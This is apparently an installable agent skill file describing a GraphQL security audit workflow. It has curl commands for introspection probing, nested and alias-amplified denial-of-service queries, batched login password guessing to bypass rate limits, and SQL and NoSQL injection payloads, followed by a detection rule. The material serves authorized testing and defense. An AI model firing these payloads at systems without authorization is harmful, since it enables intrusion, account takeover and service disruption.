Agent skill

auditing-graphql-security

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npx add-skill https://github.com/majiayu000/claude-skill-registry/tree/main/skills/other/other/auditing-graphql-security

SKILL.md

name: auditing-graphql-security description: >- Audit GraphQL APIs for introspection leaks, query depth attacks, batch query abuse, injection via resolvers, and authorization bypass through nested queries. domain: cybersecurity subdomain: api-security tags:

  • graphql
  • api-security
  • introspection
  • query-depth
  • injection version: "1.0" author: defconxt license: AGPL-3.0 metadata: mitre-attack: ["T1190", "T1059.007"] owasp-api: ["API3", "API4", "API8"] tools: ["curl", "graphql-voyager", "InQL", "burp-suite", "nuclei"]

Auditing GraphQL Security

Overview

GraphQL introduces unique attack surfaces beyond REST: introspection leaks expose the full schema, nested queries enable DoS, batch operations bypass rate limiting, and mutations may allow mass assignment. This skill covers comprehensive GraphQL security auditing.

Prerequisites

  • Tools: ["curl", "InQL", "burp-suite", "nuclei", "graphql-voyager"]
  • Access to the GraphQL endpoint (typically /graphql or /gql)
  • Authorized testing engagement with written scope

Key Concepts

  • Introspection: Built-in schema query mechanism — should be disabled in production
  • Query depth: Nested queries can cause exponential resolver execution
  • Batching: Multiple operations in a single request bypass per-request limits
  • Field suggestions: Error messages may leak field names even without introspection
  • Aliases: Duplicate the same query under different names to amplify operations

Workflow

Step 1: Introspection Probing

bash
# Full introspection query
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name args { name type { name } } type { name kind ofType { name } } } } } }"}' | jq .

# Minimal introspection check
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}' | jq '.data.__schema.types[].name'

# Test introspection bypass via GET
curl -s "https://target.com/graphql?query=%7B__schema%7Btypes%7Bname%7D%7D%7D" | jq .

# InQL Scanner (Burp extension) for automated schema extraction
# Import schema into GraphQL Voyager for visualization

Step 2: Field and Type Enumeration

bash
# Enumerate sensitive types
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}' | \
  jq '.data.__schema.types[] | select(.name | test("User|Admin|Secret|Token|Password|Key"; "i"))'

# Field suggestion exploitation (typo to trigger suggestions)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ usr { email } }"}' | jq '.errors[].message'

# Enumerate mutations
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { mutationType { fields { name args { name type { name } } } } } }"}' | jq .

Step 3: Query Depth and Complexity Attack

bash
# Nested query DoS test (adjust depth to target's limits)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { friends { friends { friends { friends { friends { name email } } } } } } }"}'

# Alias-based amplification
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ a1: user(id:1) { email } a2: user(id:2) { email } a3: user(id:3) { email } a4: user(id:4) { email } a5: user(id:5) { email } }"}'

# Fragment spread amplification
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"fragment F on User { email name } { user(id:1) { ...F friends { ...F friends { ...F } } } }"}'

Step 4: Batch Query Abuse

bash
# Array-based batching (bypasses per-request rate limiting)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation { login(email:\"[email protected]\", password:\"pass1\") { token } }"},
    {"query":"mutation { login(email:\"[email protected]\", password:\"pass2\") { token } }"},
    {"query":"mutation { login(email:\"[email protected]\", password:\"pass3\") { token } }"}
  ]'

# Alias-based batching (single query, multiple operations)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { l1: login(email:\"[email protected]\", password:\"pass1\") { token } l2: login(email:\"[email protected]\", password:\"pass2\") { token } }"}'

Step 5: Injection via Resolvers

bash
# SQL injection through GraphQL arguments
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}'

# NoSQL injection
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users(filter: \"{\\\"email\\\": {\\\"$gt\\\": \\\"\\\"}}\") { email } }"}'

# Nuclei GraphQL templates
nuclei -u https://target.com/graphql -t http/exposures/apis/graphql-introspection.yaml

Detection Opportunities

Signal Source Description
Introspection queries API logs __schema or __type in query body
Deep nested queries API gateway Query depth exceeding threshold
Batch operations WAF Array payloads or alias amplification
Resolver errors App logs SQL/NoSQL errors from GraphQL resolvers
yaml
title: GraphQL Introspection Query Detected
id: c3d4e5f6-a7b8-9012-cdef-345678901234
status: experimental
description: Detects GraphQL introspection queries that expose the full API schema
logsource:
  category: webserver
detection:
  selection:
    cs-uri-stem|contains: 'graphql'
  keywords:
    cs-body|contains:
      - '__schema'
      - '__type'
      - 'introspectionQuery'
  condition: selection and keywords
falsepositives:
  - GraphQL development tools like GraphiQL or Apollo Studio in staging
level: medium
tags:
  - attack.t1190
  - attack.initial_access

Verification

  • Introspection state assessed (enabled/disabled)
  • Query depth and complexity limits tested
  • Batch query abuse tested
  • Injection through resolvers tested
  • Authorization on nested resources verified
  • Detection artifacts identified

References

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